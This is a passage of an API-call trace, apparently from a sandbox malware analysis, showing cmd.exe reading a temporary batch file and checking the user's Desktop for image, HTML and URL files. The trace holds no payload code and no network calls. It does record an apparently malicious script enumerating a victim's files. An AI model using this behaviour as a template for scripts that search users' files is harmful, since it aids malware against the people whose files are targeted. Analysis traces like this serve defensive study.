"c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.241] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.241] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.241] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.241] GetProcessHeap () returned 0x4e0000 [0040.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.241] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.241] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0040.242] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16cb, lpOverlapped=0x0) returned 1 [0040.242] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0040.242] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n\r\n") returned 2 [0040.242] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.242] GetFileType (hFile=0x74) returned 0x1 [0040.242] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.242] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0040.242] GetProcessHeap () returned 0x4e0000 [0040.242] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.242] GetProcessHeap () returned 0x4e0000 [0040.242] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.242] _tell (_FileHandle=3) returned 3940 [0040.242] _close (_FileHandle=3) returned 0 [0040.242] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.242] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.242] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0040.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0040.243] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16c9, lpOverlapped=0x0) returned 1 [0040.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0040.243] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n\r\n") returned 25 [0040.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.243] GetFileType (hFile=0x74) returned 0x1 [0040.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0040.243] GetProcessHeap () returned 0x4e0000 [0040.243] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.243] GetProcessHeap () returned 0x4e0000 [0040.243] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.244] _tell (_FileHandle=3) returned 3965 [0040.244] _close (_FileHandle=3) returned 0 [0040.245] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0040.245] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.245] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.245] GetLastError () returned 0x2 [0040.245] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.245] GetLastError () returned 0x6 [0040.245] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.245] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.245] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.245] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.246] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.246] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.246] SetConsoleInputExeNameW () returned 0x1 [0040.246] GetConsoleOutputCP () returned 0x1b5 [0040.246] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.246] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.246] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.246] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.246] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.246] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0040.246] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.247] GetProcessHeap () returned 0x4e0000 [0040.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.247] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.247] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0040.247] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16b0, lpOverlapped=0x0) returned 1 [0040.247] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0040.248] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n\r\n") returned 2 [0040.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.248] GetFileType (hFile=0x74) returned 0x1 [0040.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0040.248] GetProcessHeap () returned 0x4e0000 [0040.248] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.248] GetProcessHeap () returned 0x4e0000 [0040.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.248] _tell (_FileHandle=3) returned 3967 [0040.248] _close (_FileHandle=3) returned 0 [0040.248] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.248] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0040.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0040.249] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16ae, lpOverlapped=0x0) returned 1 [0040.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0040.249] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n\r\n") returned 25 [0040.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.249] GetFileType (hFile=0x74) returned 0x1 [0040.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0040.249] GetProcessHeap () returned 0x4e0000 [0040.249] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.249] GetProcessHeap () returned 0x4e0000 [0040.249] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.250] _tell (_FileHandle=3) returned 3992 [0040.250] _close (_FileHandle=3) returned 0 [0040.250] GetFullPathNameW (in: lpFileName="*.htm", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", lpFilePart=0x41eea8*="*.htm") returned 0x2b [0040.250] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.250] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.251] GetLastError () returned 0x2 [0040.251] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.251] GetLastError () returned 0x6 [0040.251] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.251] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.251] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.251] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.251] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.251] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.252] SetConsoleInputExeNameW () returned 0x1 [0040.252] GetConsoleOutputCP () returned 0x1b5 [0040.252] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.252] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.252] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.252] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0040.252] GetProcessHeap () returned 0x4e0000 [0040.252] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.252] GetProcessHeap () returned 0x4e0000 [0040.252] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.252] GetProcessHeap () returned 0x4e0000 [0040.252] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.253] GetProcessHeap () returned 0x4e0000 [0040.253] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0040.253] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1695, lpOverlapped=0x0) returned 1 [0040.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0040.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n\r\n\r\n") returned 2 [0040.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.253] GetFileType (hFile=0x74) returned 0x1 [0040.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0040.254] GetProcessHeap () returned 0x4e0000 [0040.254] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.254] GetProcessHeap () returned 0x4e0000 [0040.254] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.254] _tell (_FileHandle=3) returned 3994 [0040.254] _close (_FileHandle=3) returned 0 [0040.254] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.254] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0040.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0040.255] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1693, lpOverlapped=0x0) returned 1 [0040.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0040.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.html goto html\r\n\r\n") returned 27 [0040.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.255] GetFileType (hFile=0x74) returned 0x1 [0040.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0040.255] GetProcessHeap () returned 0x4e0000 [0040.255] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.255] GetProcessHeap () returned 0x4e0000 [0040.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.256] _tell (_FileHandle=3) returned 4021 [0040.256] _close (_FileHandle=3) returned 0 [0040.256] GetFullPathNameW (in: lpFileName="*.html", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", lpFilePart=0x41eea8*="*.html") returned 0x2c [0040.257] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.257] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.html", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.257] GetLastError () returned 0x2 [0040.257] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.257] GetLastError () returned 0x6 [0040.257] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.257] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.257] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.257] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.257] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.257] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.258] SetConsoleInputExeNameW () returned 0x1 [0040.258] GetConsoleOutputCP () returned 0x1b5 [0040.258] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.258] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.258] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.258] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0040.258] GetProcessHeap () returned 0x4e0000 [0040.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.258] GetProcessHeap () returned 0x4e0000 [0040.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.259] GetProcessHeap () returned 0x4e0000 [0040.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0040.259] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1678, lpOverlapped=0x0) returned 1 [0040.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0040.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n\r\n") returned 25 [0040.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.259] GetFileType (hFile=0x74) returned 0x1 [0040.260] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.260] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce 